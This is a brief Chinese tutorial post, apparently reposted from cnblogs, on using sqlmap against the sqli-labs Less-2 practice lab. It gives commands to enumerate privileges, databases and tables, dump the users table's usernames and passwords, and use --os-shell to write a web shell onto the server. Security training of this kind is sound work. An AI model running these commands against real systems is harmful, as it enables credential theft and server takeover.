标签:查看 显示 mysql word log targe mys less code
本次注入中我们使用sqli-labs的less-2作为测试网站
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -v 3
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --is-dba
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --privileges
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --dbs
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --current-db
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --tables
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -tables -D security
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -columns -T users -D security
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 -dump -C id,username,password -T users -D security
python sqlmap.py -u http://localhost/sqli-labs/Less-2/index.php?id=1 --os-shell
这里我们是php的环境,我们选择4
这里我们选择2,自定义路径
选择接受标准输出
我们的文件夹中出现了写入的shell
使用sqlmap进行MySQL数据库的注入,sqlmap工具使用,sqlmap的参数详解
标签:查看 显示 mysql word log targe mys less code
原文地址:https://www.cnblogs.com/shley/p/14743510.html